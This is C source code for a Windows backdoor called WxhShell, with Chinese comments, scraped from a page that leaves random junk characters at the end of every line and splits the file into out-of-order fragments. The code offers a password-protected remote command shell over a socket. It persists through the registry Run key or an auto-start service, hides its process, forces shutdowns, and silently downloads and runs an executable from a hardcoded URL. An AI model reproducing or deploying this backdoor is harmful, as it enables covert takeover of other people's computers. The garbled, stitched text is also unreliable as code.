    if(Boot(SHUTDOWN)) { lLUZM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^f1}:g  
    else { @*l}2W  
    closesocket(wsh); Oox5${#^  
    ExitThread(0); !/$BXUrd  
    } 5,qfr!hN,  
    break; &e% y|{Y  
    } Wm.SLr,o0  
  // 获取shell 4//Ww6W:  
  case 's': { s4}}MV3X  
    CmdShell(wsh); I)O-i_}L&K  
    closesocket(wsh); cEw/F0  
    ExitThread(0); {N;XjV1x  
    break; 5kJ>pb$/  
  } `h Y:F(  
  // 退出 U]ouBG8/  
  case 'x': { +Mv0X%(N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `^afbW  
    CloseIt(wsh); Ybx4 Up@  
    break; J(-#(kMyf  
    } $X-,6*  
  // 离开 Fu m1w  
  case 'q': { ^yu^Du  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f=J#mmH w$  
    closesocket(wsh); qx53,^2  
    WSACleanup(); Z!|nc.  
    exit(1); /)y~%0  
    break; /{1xpR  
        } mrd(\&EhA  
  } lTdYPqMi  
  } r"rID RQ"  
Mp$ uEi  
  // 提示信息 $K8ZxH1z@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "mT~_BsD  
} bU:"dqRm<  
  } ^#%$?w>wI  
+V7*vlx-  
  return; 5'>(|7~%\  
} f+$/gz  
x_(B7ob  
// shell模块句柄 |2c'0Ibu  
int CmdShell(SOCKET sock) Q9#$4  
{ O*yc8fUI  
STARTUPINFO si; u8N+ht@  
ZeroMemory(&si,sizeof(si)); fX} dh9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]b<k%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7,jh44(\=  
PROCESS_INFORMATION ProcessInfo; UmQ 9_H7  
char cmdline[]="cmd"; KY"W{D9ib  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I%*o7"  
  return 0; +5);"71  
} ;Cyt2]F  
&g@?{5FP  
// 自身启动模式 UwdcU^xt9  
int StartFromService(void)  D[]vJ  
{ oOe5IczS(  
typedef struct {My/+{eS!?  
{ r"U$udwjg  
  DWORD ExitStatus; |$9k z31  
  DWORD PebBaseAddress; D 7H$!(F>  
  DWORD AffinityMask; Ty#L%k}-t  
  DWORD BasePriority; g4j?E{M?  
  ULONG UniqueProcessId; -@L*i|A  
  ULONG InheritedFromUniqueProcessId; d:=5y)  
}   PROCESS_BASIC_INFORMATION;  i)8,u  
O-bC+vB]M  
PROCNTQSIP NtQueryInformationProcess; b\VY)=U  
iu&'v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u& :-&gva  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y@^M U->+  
MF]s(7U4 `  
  HANDLE             hProcess; > -Jd@7-  
  PROCESS_BASIC_INFORMATION pbi; tX Z5oG7  
vVZ@/D6w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V!3O 1  
  if(NULL == hInst ) return 0; /o![%&-l  
81H04L9K 7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1c+[S]7rY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -Vt*(L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L&'2  
CQzJ_aSJ (  
  if (!NtQueryInformationProcess) return 0; sRb)*p'  
S1;#5 8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QSEf  
  if(!hProcess) return 0; +lU:I  
:)?w 2'O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U{n 0Z  
~N_\V  
  CloseHandle(hProcess); D`r:`  
[ZOo%"M_Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <q%buyQna  
if(hProcess==NULL) return 0; xQ7>u -^  
.v0.wG  
HMODULE hMod; RP z0WP  
char procName[255]; Sep}{`u  
unsigned long cbNeeded; +@AN+!(  
Bk>Ch#`Bw  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N~g'Z `  
z)yxz:E  
  CloseHandle(hProcess); @+:S'mAQC  
Qy5\qW'  
if(strstr(procName,"services")) return 1; // 以服务启动 lJu2}XRiU  
nXk<DlTws  
  return 0; // 注册表启动 ^ ,U9N  
} VL&E2^*E  
"M6:)h9jV  
// 主模块 4vW:xK  
int StartWxhshell(LPSTR lpCmdLine) >Ex\j?  
{  N6E H  
  SOCKET wsl; q%"]}@a0  
BOOL val=TRUE; QpAK]  
  int port=0; kOx2P(UAEx  
  struct sockaddr_in door; ZVVK:d Dgt  
]f-< s,@  
  if(wscfg.ws_autoins) Install(); G;qC& 7T  
W!2(Ph*  
port=atoi(lpCmdLine); 9]Uvy|  
Bj;Fy9[yb  
if(port<=0) port=wscfg.ws_port; P[?~KNS:/  
W(1p0|WQ:  
  WSADATA data; Fla,#uB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %#yCp2  
Elh: %dr Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IdUMoLL?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  o-_0  
  door.sin_family = AF_INET; >QU1_'1r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |wKZ-6  
  door.sin_port = htons(port); |u<qbl  
2W~,,$ G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Pj8s;#~u  
closesocket(wsl); [l:3F<M  
return 1; a7)q^;:O  
} _}EGk4E  
@w[WG:-+  
  if(listen(wsl,2) == INVALID_SOCKET) { x0?8AG%  
closesocket(wsl); O+@"l$;N  
return 1; 1K"``EvNB  
} ^EN_C<V;"d  
  Wxhshell(wsl); gk"S`1>  
  WSACleanup(); a9(1 6k  
5Q^ L"&0  
return 0; >w9fFm!Q  
 Ma0_!|i  
} '{@hBB+ D  
8G?'F${`  
// 以NT服务方式启动 J@=1zL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ultx|qU  
{ ]m{;yOQdsC  
DWORD   status = 0; r3mB"("Z'  
  DWORD   specificError = 0xfffffff; Ny /bNQS  
G0^WQQ4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u 3wF)B{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #9,!IW]l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4^1{UlCop  
  serviceStatus.dwWin32ExitCode     = 0; xO`w| k  
  serviceStatus.dwServiceSpecificExitCode = 0; {  KE[8n  
  serviceStatus.dwCheckPoint       = 0; muwXzN(KX  
  serviceStatus.dwWaitHint       = 0; )Mx[;IwE  
vtc} )s\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U#gHc:$  
  if (hServiceStatusHandle==0) return; Pwt4e-  
>&f .^p  
status = GetLastError(); gEcVQPD@  
  if (status!=NO_ERROR) (9CB&LZ(+E  
{ '""qMRCm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pv~XZ(J.1  
    serviceStatus.dwCheckPoint       = 0; U SXz  
    serviceStatus.dwWaitHint       = 0; {:$0j|zL1  
    serviceStatus.dwWin32ExitCode     = status; ..X efNbl  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~Us1F=i_Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |xG|HJm,  
    return; a.v$+}+.[,  
  } GrGgR7eC#P  
X4>c(1e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h `d(?1  
  serviceStatus.dwCheckPoint       = 0; rteViq+|.  
  serviceStatus.dwWaitHint       = 0; i DO`N!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,--/oP  
} &THM]3:  
0|nvi=4~e|  
// 处理NT服务事件,比如:启动、停止 /ZlW9|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8)&H=#E  
{ IJ3[6>/ M0  
switch(fdwControl) w1F7gd  
{ :W<ag a;J  
case SERVICE_CONTROL_STOP: $g$~TuA w  
  serviceStatus.dwWin32ExitCode = 0; _- H uO/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; BA' ($D>  
  serviceStatus.dwCheckPoint   = 0; ,-ZAI b*  
  serviceStatus.dwWaitHint     = 0; Xw!eB?A  
  { Z'6 o$Xv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >|KfO>  
  } Y.sf^}  
  return; Unc;@=c  
case SERVICE_CONTROL_PAUSE: L`cc2.F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AMA :hQ  
  break; 1!/cd;{B  
case SERVICE_CONTROL_CONTINUE: ;LELC5[*s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BP6;dF5 E  
  break; ',n;ag`c  
case SERVICE_CONTROL_INTERROGATE: #.?DsK_:@  
  break; s/0-DHd  
}; 6Ii2rEzD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fl>v9%A  
} ?u` ?_us  
J xi>1  
// 标准应用程序主函数 oJVpNE[3]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d}3<nz,  
{ I&3L1rl3{*  
F IDNhu  
// 获取操作系统版本 PQ.xmg2  
OsIsNt=GetOsVer(); "?Wwc d\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); AGQCk*dm  
D"j =|4S#  
  // 从命令行安装 #!u P >/  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2w)0>Y(_  
}P#%aE&-  
  // 下载执行文件 X0^gj>GI|  
if(wscfg.ws_downexe) { T9jp*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  s$YKdtR  
  WinExec(wscfg.ws_filenam,SW_HIDE); {g@Wd2-J}  
} E&}r"rbI  
?/9]"HFHN  
if(!OsIsNt) { [4]lAxrRF  
// 如果时win9x,隐藏进程并且设置为注册表启动 d{0b*l%  
HideProc(); Kg=TPNf"$  
StartWxhshell(lpCmdLine); D Km`  
} 9Gfm?.O5  
else s@OCj0'l  
  if(StartFromService()) Q4{%)}2$  
  // 以服务方式启动 St-:+=V_  
  StartServiceCtrlDispatcher(DispatchTable); ePa:_?(  
else "zc@(OA[z  
  // 普通方式启动 YN_#x  
  StartWxhshell(lpCmdLine); RQWVjF#  
\ v44Vmfz  
return 0; "B*a| 'n!  
} ,w,>pO'[  
#R4Mv(BG  
s+(%N8B  
7f8%WD)  
=========================================== H[@uE*W  
TyD*m$`y  
\)eHf 7H  
~0w7E0DE[  
J5)e 7  
,w; ~R4x  
" VQU[5C  
C6,GgDH`  
#include <stdio.h> p18-yt; 1  
#include <string.h> eW"i'\`0  
#include <windows.h> {/uBZ(   
#include <winsock2.h> W:O<9ZbQ_  
#include <winsvc.h> 9vWKyzMi  
#include <urlmon.h> F7^8Ej9*a  
e &^BPzg  
#pragma comment (lib, "Ws2_32.lib") t1b$,jHmKl  
#pragma comment (lib, "urlmon.lib") YN?@ S  
L!V`Sb  
#define MAX_USER   100 // 最大客户端连接数 3H%R`ha  
#define BUF_SOCK   200 // sock buffer A^q= :ofQ  
#define KEY_BUFF   255 // 输入 buffer .{`+bT^b<2  
qGuz`&i  
#define REBOOT     0   // 重启 ,pa,:k?  
#define SHUTDOWN   1   // 关机 0&=2+=[c  
0*L|r Jf  
#define DEF_PORT   5000 // 监听端口 `!S5FE"-  
D@uw[;Xb5  
#define REG_LEN     16   // 注册表键长度 `Gx"3ZUn  
#define SVC_LEN     80   // NT服务名长度 j|FGb:  
Fkuq'C<|Y  
// 从dll定义API D;Fvd:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >9a%"<(2#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V"%2Tz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -}%'I ]R=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R"6Gm67t  
Kv:UQdnU[  
// wxhshell配置信息 >s1FTB-$W  
struct WSCFG { &JAQ:([:  
  int ws_port;         // 监听端口 bv;&oc:r  
  char ws_passstr[REG_LEN]; // 口令 6#T?g7\pyR  
  int ws_autoins;       // 安装标记, 1=yes 0=no RKdf1C  
  char ws_regname[REG_LEN]; // 注册表键名 E"!9WF(2t5  
  char ws_svcname[REG_LEN]; // 服务名 (9';zw   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 96]lI3 c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H. uflO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hghtF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B, xrZs  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L$zT`1Hy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <Xm5re.  
Oh6;o1UI  
}; "8ILV`[  
'[-gK n  
// default Wxhshell configuration a[\,K4l  
struct WSCFG wscfg={DEF_PORT, S+ymdZ)xZ`  
    "xuhuanlingzhe", HB {-^9{E  
    1, |}^[f]  
    "Wxhshell", 6R%c+ok8i  
    "Wxhshell", YH)U nql  
            "WxhShell Service", |.=Ee+HZ  
    "Wrsky Windows CmdShell Service", ($E(^p% O  
    "Please Input Your Password: ", j$T2ff6  
  1, mz1Xk ]nE  
  "http://www.wrsky.com/wxhshell.exe", ' :g8a=L  
  "Wxhshell.exe" Q&(?D  
    }; w!:u|  
.!KlN%As  
// 消息定义模块 [4 g5 {eX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .2Q`. o)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `PSr64h:D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y((z9-`  
char *msg_ws_ext="\n\rExit."; *u>2"!+Ob  
char *msg_ws_end="\n\rQuit."; eG|e1tK+  
char *msg_ws_boot="\n\rReboot..."; -yg9ug  
char *msg_ws_poff="\n\rShutdown..."; fdho`juFa  
char *msg_ws_down="\n\rSave to "; ^%M!!wlUH  
C+P}R]cT"  
char *msg_ws_err="\n\rErr!"; 6'(5pt  
char *msg_ws_ok="\n\rOK!"; y 97QqQ^  
$LAaG65V  
char ExeFile[MAX_PATH]; Xa*52Q`_  
int nUser = 0; T=VVK6Lc:  
HANDLE handles[MAX_USER]; ll1?I8}5|  
int OsIsNt; ?8-e@/E#x  
& ?/h5<  
SERVICE_STATUS       serviceStatus; 9Vzk:zOT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;PaB5TT(  
TmKO/N@}  
// 函数声明 2-o,4EfHVO  
int Install(void); XT{1!I(  
int Uninstall(void); 6]T02;b>/,  
int DownloadFile(char *sURL, SOCKET wsh); 4dMwJ"V  
int Boot(int flag); 3=t}py7M  
void HideProc(void);  8czo#&  
int GetOsVer(void); `C=!8q  
int Wxhshell(SOCKET wsl); dulW!&*No  
void TalkWithClient(void *cs); lADi  
int CmdShell(SOCKET sock); da\K>An>  
int StartFromService(void); s?~Abj_  
int StartWxhshell(LPSTR lpCmdLine); dT/Cn v=  
mt fDl;/D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H\8i9RI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +SPC@E_v  
jA=uK6m  
// 数据结构和表定义 GuM-H $,  
SERVICE_TABLE_ENTRY DispatchTable[] = 3tnYK&  
{ m f4@g05  
{wscfg.ws_svcname, NTServiceMain}, s=q\BmG  
{NULL, NULL} Zx}=c4I(y  
}; zZDG5_$n  
.w$v<y6C  
// 自我安装 w#Nn(!VR  
int Install(void) ~Ufcy{x#  
{ &_" 3~:N8k  
  char svExeFile[MAX_PATH]; &HFMF)NA  
  HKEY key; #%k5s?cP@  
  strcpy(svExeFile,ExeFile); t=XiSj\n  
l3-Ksw U  
// 如果是win9x系统,修改注册表设为自启动 Fj1/B0acS  
if(!OsIsNt) { '(2G qX!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |+!Jr_ By  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X?>S24I"9  
  RegCloseKey(key); tjDVU7um  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ed{z^!w4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l-t:7`=|  
  RegCloseKey(key); YvBUx#\  
  return 0; 1(q!.lPc  
    } ;a{ Dr  
  } C9gF2ii|?  
} deHBY4@  
else { +]uy  
!G\1$"T$  
// 如果是NT以上系统,安装为系统服务 T%P 0M*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {:6VJ0s\  
if (schSCManager!=0) Vy}:Q[  
{ K/MIDH  
  SC_HANDLE schService = CreateService nn#A-x}~;b  
  ( 5U1@wfKE3>  
  schSCManager, bXJ,L$q  
  wscfg.ws_svcname, N:L<ySJ7  
  wscfg.ws_svcdisp, eDaVoc3  
  SERVICE_ALL_ACCESS, akd~Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $|(roC(  
  SERVICE_AUTO_START, v#-%_V>ph  
  SERVICE_ERROR_NORMAL, Ao{wd1  
  svExeFile,  M?}2  
  NULL, C,tlp  
  NULL, QREIr |q'  
  NULL, ]NTHit^EX  
  NULL, 7acAU{Rr  
  NULL ,wX/cUyZ  
  ); t$\]6RU  
  if (schService!=0) K\?vTgc(  
  { !m_'<=)B4~  
  CloseServiceHandle(schService); z w5EaY  
  CloseServiceHandle(schSCManager); q#OLb"bTr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ).v;~yE   
  strcat(svExeFile,wscfg.ws_svcname); OEB_LI'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {\]SvoJnJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mT!~;] RrF  
  RegCloseKey(key); F>^k<E?,C  
  return 0;  sGdt)  
    } '7Te{^<FQ$  
  } c (\-7*En  
  CloseServiceHandle(schSCManager); OmU.9PDg-  
} Xj !0jF33  
} CuuHRvU8  
<&H.pN1_  
return 1; cG"jrQ  
} `uzRHbJ`  
kx'6FkZPIr  
// 自我卸载 .@B \&U7  
int Uninstall(void) u;=("S{"0  
{ <#`<Ys3b*!  
  HKEY key; PicO3m  
UK _2i(I"e  
if(!OsIsNt) { @Chj0wWZ>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YjHGdacs  
  RegDeleteValue(key,wscfg.ws_regname); -$e\m] }Z  
  RegCloseKey(key); i g?]kZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { It]CoAo+  
  RegDeleteValue(key,wscfg.ws_regname); 1 #EmZ{*  
  RegCloseKey(key); <Xl G:nmY  
  return 0; Y ciZU  
  } )Xg#x:  
} J3q}DDnEo  
} W:9L!+m^  
else { ]t #,{%h  
](T*f'LN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2H]&3kM3X  
if (schSCManager!=0) 3FNj~=N  
{ OsC1('4@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4[Oy3.-c  
  if (schService!=0) `0 .5aa  
  { ,j5fzA  
  if(DeleteService(schService)!=0) { "h:xdaIE/p  
  CloseServiceHandle(schService); D}3E1`)W  
  CloseServiceHandle(schSCManager); }r,k*I'K  
  return 0; QV?\?9(  
  } VK$+Nm)  
  CloseServiceHandle(schService); 0 'L+9T5  
  } i(U*<1y  
  CloseServiceHandle(schSCManager); rRsLl/d  
} Dj<Vn%d*  
} 7&T1RB'>  
u9VJ{F  
return 1;  Y9PG  
} 6'qs=Ql  
B&.XGo)  
// 从指定url下载文件 B3I< $  
int DownloadFile(char *sURL, SOCKET wsh) j\Q_NevV  
{ 3!*J;Y  
  HRESULT hr; o ue;$8  
char seps[]= "/"; lIOLR-:4j  
char *token; h?$4\^/  
char *file; uV%7|/fD  
char myURL[MAX_PATH]; noL<pkks~R  
char myFILE[MAX_PATH]; bNc=}^  
I^lb;3uR  
strcpy(myURL,sURL); U)c,ZxE  
  token=strtok(myURL,seps); q l8CgL  
  while(token!=NULL) hg\$>W~ 2  
  { ?[VS0IBS  
    file=token; eb:uh!  
  token=strtok(NULL,seps); -y$|EOi?  
  } tWc!!Hf2j  
@-u/('vpB  
GetCurrentDirectory(MAX_PATH,myFILE); K3\U'bRO  
strcat(myFILE, "\\"); nwV\ [E  
strcat(myFILE, file); %X#Wc:b  
  send(wsh,myFILE,strlen(myFILE),0); V1"+4&R^T_  
send(wsh,"...",3,0); 'f5,%e2#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]2Lwd@  
  if(hr==S_OK) [qid4S~r,&  
return 0; &LYU#$sj  
else pT[C[h:  
return 1; \9D '7/$I,  
O{%y `|m  
} dq|z;,`  
>B~p[wh0  
// 系统电源模块 vsES`  
int Boot(int flag) NFc< %#H  
{ neOR/]  
  HANDLE hToken; 0~^opNR  
  TOKEN_PRIVILEGES tkp; [nflQW6  
oYqlN6n,=6  
  if(OsIsNt) { b]*9![_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <Ep P;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (u$Q  
    tkp.PrivilegeCount = 1; m2VF}% EIr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~":?})  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {mueP6Gz@J  
if(flag==REBOOT) { (obeEH5J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N5oao'7|A  
  return 0; u^V`Ucd"R  
} .eJ4F-V  
else { 59ro-nA9v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $7PFos%@  
  return 0; {]|};E[}m  
} dr:)+R  
  } i' N  
  else { 9h~>7VeZ)  
if(flag==REBOOT) { A!@D }n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P3@[x  
  return 0; OGh b Ha  
} q=|>r n_  
else { {$Fg+~   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %'EOFv]  
  return 0; w,JB`jS)/  
} KWhw@y-5j@  
} U7 Z_  
+mV4Ty  
return 1; ks'25tv}F  
} R+, tn,<<  
v#D9yttO{  
// win9x进程隐藏模块 SAXjB;VH6  
void HideProc(void) 6P+8{ ?V&  
{ ~@L$}Eu  
PZH]9[H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W^al`lg+y  
  if ( hKernel != NULL ) 1kTJMtZG~  
  { {w{|y[[d~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tQ] R@i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0$* z   
    FreeLibrary(hKernel); f,PFvT$5e  
  } $NJi]g|<3  
k,b(MAiQ0  
return; O^oFH OpFh  
} [YJP  
7c<2oTN'  
// 获取操作系统版本 TvMY\e  
int GetOsVer(void) 9k2HP]8=[{  
{ <[[DS%(M^  
  OSVERSIONINFO winfo; q4(&.Al\@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2{**bArV  
  GetVersionEx(&winfo); vNi7=3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^vo^W:   
  return 1; USe"1(|E  
  else K3'`!Ka*  
  return 0; >^> \y8on  
} z26zl[.  
B 2&fvv?  
// 客户端句柄模块 ^|as]x!sv  
int Wxhshell(SOCKET wsl) ].2q.7Yur  
{ $eRxCX?b2  
  SOCKET wsh; =^=9z'u"=  
  struct sockaddr_in client; y&9v0&o  
  DWORD myID; +<@7x16  
%E~4Ur  
  while(nUser<MAX_USER) uXu'I  
{ q^Oq:l$s  
  int nSize=sizeof(client); N$?mula  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7P:0XML}  
  if(wsh==INVALID_SOCKET) return 1; . |KxQn}  
-twIF49  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GVn7#0x  
if(handles[nUser]==0) 5GT,:0  
  closesocket(wsh); ZK3?"|vhC  
else ~"brfjd|  
  nUser++; h Sr#/dw&  
  } Z4bN|\I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f{WJM>$:  
<}N0 y*m  
  return 0; uZ%b6+(  
} 6"eGd"  
Xp._B4g  
// 关闭 socket o<@2zhuhrx  
void CloseIt(SOCKET wsh) 6+m)   
{ %|oY8;0|A>  
closesocket(wsh); xg\M9&J  
nUser--; HC}D<FX |  
ExitThread(0); @5Ril9J[b  
} 8r)eiERv  
E^#|1Kpq  
// 客户端请求句柄 r/:s2 oQ  
void TalkWithClient(void *cs) cd*y{Wt  
{ S1E2E3  
#=Q/<r.~G  
  SOCKET wsh=(SOCKET)cs; W&BwBp]K  
  char pwd[SVC_LEN]; u=#LY$  
  char cmd[KEY_BUFF]; fC]+C(*d  
char chr[1]; !);}zW!  
int i,j; Pw hs`YGMF  
fZxZ):7i  
  while (nUser < MAX_USER) { ?2_u/x  
mcS/-DaN?  
if(wscfg.ws_passstr) { B;hc|v{(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X& O o1y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 76$19  
  //ZeroMemory(pwd,KEY_BUFF); 1S0Hc5vw  
      i=0; J0mY=vX  
  while(i<SVC_LEN) { w0^(jMQe^  
*G>V`||RW  
  // 设置超时 qV9`  
  fd_set FdRead; `S{< $:D  
  struct timeval TimeOut; burEo.=  
  FD_ZERO(&FdRead); q,$UKg#i  
  FD_SET(wsh,&FdRead); L'"20=sf  
  TimeOut.tv_sec=8; REnRpp$  
  TimeOut.tv_usec=0; ^X"G~#v=q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ch \*/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;&;coH8`  
S)@R4{=e"V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JS}W4 N  
  pwd=chr[0]; 5j{o0&=_$  
  if(chr[0]==0xd || chr[0]==0xa) { TBrAYEk  
  pwd=0; cJj0`@0f  
  break; 7+#^:;19`  
  } T!(I\wz;Bo  
  i++; vlp]!7v  
    } PIB|&I|p  
A$Es(<'9g  
  // 如果是非法用户,关闭 socket V4/P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v?fB:[dG  
} =lr*zeHLC  
hLYSYMUb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Uu>YE0/)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e%(zjCA  
~9h6"0K!  
while(1) { XrFyN(p  
2"yzrwZ:  
  ZeroMemory(cmd,KEY_BUFF); D#W{:_f  
n_.2B$JD  
      // 自动支持客户端 telnet标准   j4ypXPY``!  
  j=0; s2b!Nib  
  while(j<KEY_BUFF) { ?n\~&n'C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H6bomp"  
  cmd[j]=chr[0]; V1xpJ  
  if(chr[0]==0xa || chr[0]==0xd) { 5(u7b  
  cmd[j]=0; q6\z]8)  
  break; '[`.&-;  
  } Ny\iRU)fN  
  j++;  ItC*[  
    } 57v[b-SK  
<4C`^p  
  // 下载文件 `$G7Ia_ $]  
  if(strstr(cmd,"http://")) { XRJ<1w:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xf% ,UQ  
  if(DownloadFile(cmd,wsh)) )1~4Tl,S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kH-1l>":  
  else  ZMg%/C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]$y"|xqR  
  } ]/JE#  
  else { g] X4)e]  
